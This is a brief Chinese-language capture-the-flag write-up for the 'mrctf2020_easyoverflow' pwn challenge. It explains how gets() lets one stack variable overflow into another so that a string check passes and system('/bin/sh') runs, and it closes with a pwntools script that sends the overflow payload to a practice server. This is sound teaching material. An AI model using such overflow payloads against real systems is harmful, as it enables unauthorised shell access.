mrctf2020_easyoverflow
使用checksec
查看:
保护全开!!!
放进IDA中看下:
大致逻辑:
- 用户输入的变量
v4
v5
有定值- 调用check()函数传入参数v5
- check(v5)为true就调用system("/bin/sh")
跟进check()
函数查看:
思路明了,只需要v5 == fakeflag
就能getshell,跟进查找fakeflag的值
再回来看输入点:
- v4在var_70
- v5在var_40
gets()函数不限制输入,那么可以输入v4时溢出到v5覆盖v5原来的值getshell
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",26478)
# r = process("../buu/mrctf2020_easyoverflow")
#params
#attack
payload=b'M'*0x30 + b"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()